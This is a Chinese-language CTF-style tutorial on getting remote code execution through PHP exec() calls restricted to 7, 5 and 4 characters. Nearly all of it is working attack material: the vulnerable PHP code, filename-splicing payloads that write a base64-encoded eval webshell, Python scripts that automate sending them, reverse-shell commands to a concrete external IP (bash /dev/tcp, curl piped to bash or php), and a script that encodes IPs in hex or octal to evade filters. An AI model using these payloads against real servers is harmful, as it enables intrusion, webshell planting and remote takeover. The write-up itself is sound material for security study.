前置知识

几个Linux命令需要了解一下:

  • 可以写文件,比如>test就新建一个test名字的文件

  • ls -t可以把文件按照创建时间来排序
  • dir可以执行ls命令并且不换行输出

1.png

  • *:可以把ls列出来的第一个文件名当成命令,剩下的文件名当作参数,==相当于`ls`==
1
2
3
4
5
6
7
>id
>root
>*

uid=0(root) gid=0(root) groups=0(root)

还可以通过在*左右添加字母来选择命令
  • rev倒置
1
2
3
>rev
echo 1234 > v
*v

这里*v指定了参数

7字符RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

写入木马:

1
2
3
4
5
<?php eval($_GET[1]);


echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>1.php
>-d\>\\
>64\ \\
>base\\
>k7\|\\
>sxXS\\
>dFVF\\
>gkX0\\
>ZhbC\\
>AgZX\\
>9waH\\
>\ PD\\
>echo\\
ls -t>0
sh 0

注意这里空格,>,|需要转义,每行的最后一个\(最后sh执行多行命令会用到)也要转义

0文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0
echo\
PD\
9waH\
AgZX\
ZhbC\
gkX0\
dFVF\
sxXS\
k7|\
base\
64 \
-d>\
1.php

sh命令直接执行Linux脚本,\将多行命令拼接

2.png

手懒的我反正也没事不如写个脚本吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import time

import requests

url='http://127.0.0.1:8800/?cmd='

str=""">1.php
>-d\>\\
>64\ \\
>base\\
>k7\|\\
>sxXS\\
>dFVF\\
>gkX0\\
>ZhbC\\
>AgZX\\
>9waH\\
>\ PD\\
>echo\\
ls -t>0
sh 0"""


payload=str.splitlines()

for i in payload:
req=requests.get(url+i)
time.sleep(0.5)

这里注意要sleep0.5秒,因为发的太快会导致创建文件顺序与预期不符合而导致ls -t命令无法正常执行

3.png

5字符RCE

写木马文件

把上面的PHP限制改为5个字符

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

我们也可以像上面那样直接写木马文件,不过每行要控制字符数量小于5

1
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
>php
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>k7\\
>XS\\
>sx\\
>VF\\
>dF\\
>X0\\
>gk\\
>bC\\
>Zh\\
>ZX\\
>Ag\\
>aH\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>ho\\
>ec\\

==这里被一个坑折磨了很久,就是这个${IFS},如果还写入空格的话会和前面写进去的空格相同导致之前的空格消失,而echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64-d>1.php会报错,木马文件是空的,正确的应该在base64和-d之间有一个空格==

这里ls -t>0肯定超过5个字符了,我们需要构造一个ls -t>0然后再sh执行不就一样的吗

这里需要用到前置知识的`*,dir

1
2
3
4
5
6
7
8
>dir
>f\>
>ht-
>sl
*>v 此时执行dir命令把结果写进v文件里:f> ht- sl
>rev
*v>0 此时指定rev参数为v文件将f> ht- sl导致过来给0文件
sh 0 此时0文件内容是:ls -th >f

这里加个h的原因是ls的排序问题,

1
2
3
4
5
6
>0\>
>t-
>sl

ls
'0>' sl t-

为了让sl在t-的后面,所有加个h

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>php
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>k7\\
>XS\\
>sx\\
>VF\\
>dF\\
>X0\\
>gk\\
>bC\\
>Zh\\
>ZX\\
>Ag\\
>aH\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>ho\\
>ec\\
sh 0
sh f

python脚本改一下str变量的值就好了

单纯搓木马很累,提前准备好还好点,我们可以看看其他的利用:

反弹shell

vps:

1
bash -i >& /dev/tcp/111.229.158.40/1112 0>&1
1
curl 111.229.158.40:2345|bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>sh
>ba\\
>\|\\
>45\\
>23\\
>\:\\
>40\\
>8.\\
>15\\
>9.\\
>22\\
>1.\\
>11\\
>\ \\
>rl\\
>cu\\

写一起:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>sh
>ba\\
>\|\\
>45\\
>23\\
>\:\\
>40\\
>8.\\
>15\\
>9.\\
>22\\
>1.\\
>11\\
>\ \\
>rl\\
>cu\\
sh 0
sh f

这里也要注意写文件的文件名不能重复,22不能同时出现两次,因此端口需要改
python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import time

import requests

url='http://127.0.0.1:8800/?cmd='

str=""">dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>sh
>ba\\
>\|\\
>45\\
>23\\
>\:\\
>40\\
>8.\\
>15\\
>9.\\
>22\\
>1.\\
>11\\
>\ \\
>rl\\
>cu\\
sh 0
sh f
"""


payload=str.splitlines()

for i in payload:
req=requests.get(url+i)
time.sleep(0.5)

4.png

4字符RCE

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

写马

直接写木马:
发现一个问题:写一些需要转义的字符,字符串长度会大于4,比如写>:>\>\\,木马是写不了了
反弹shell的话ip里面有点号,也要转义,不过这里可以用==进制绕过==

1
2
3
4
5
6
7
8
9
10
ip = '111.229.158.40'
# 十六进制
print ('0x' + ''.join([str(hex(int(i))[2:].zfill(2))
for i in ip.split('.')]))
# 长整数
print (int(''.join([str(hex(int(i))[2:].zfill(2))
for i in ip.split('.')]), 16))
# 八进制
print ('0' + oct(int(''.join([str(hex(int(i))[2:].zfill(2))
for i in ip.split('.')]), 16)))

vps网页内容

1
2
3
<?php
file_put_contents("1.php","<?php evil(\$_POST[1]);?>");
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
curl 0x6fe59e28|php

>p
>ph\
>\|\
>28\
>9e\
>e5\
>6f\
>0x\
>\ \
>rl\
>cu\

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>dir
>f\>
>kt-
>sl
*>v
>rev
*v>g
>p
>ph\
>\|\
>28\
>9e\
>e5\
>6f\
>0x\
>\ \
>rl\
>cu\
sh g
sh f

python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time

import requests

url='http://127.0.0.1:8800/?cmd='

str=""">dir
>f\>
>kt-
>sl
*>v
>rev
*v>g
>p
>ph\\
>\|\\
>28\\
>9e\\
>e5\\
>6f\\
>0x\\
>\ \\
>rl\\
>cu\\
sh g
sh f
"""

payload=str.splitlines()
print(payload)

for i in payload:
req = requests.get(url + i)
time.sleep(0.5)

==这里写python踩的一个坑是写curl命令时最后面要写两个\,通过打印列表发现\在python被python解释器解释成换行符了,导致写入文件命令只能第一个,后面的写不了,加个\来转义掉python的\==

反弹shell:

和上面原理差不多,改一下php为bash就行
vps:

1
bash -i >& /dev/tcp/111.229.158.40/1112 0>&1
1
curl 0x6fe59e28|bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>dir
>f\>
>kt-
>sl
*>v
>rev
*v>g
>ba
>sh\
>\|\
>28\
>9e\
>e5\
>6f\
>0x\
>\ \
>rl\
>cu\
sh g
sh f

5.png

参考:
https://blog.csdn.net/q20010619/article/details/109206728
https://www.anquanke.com/post/id/87203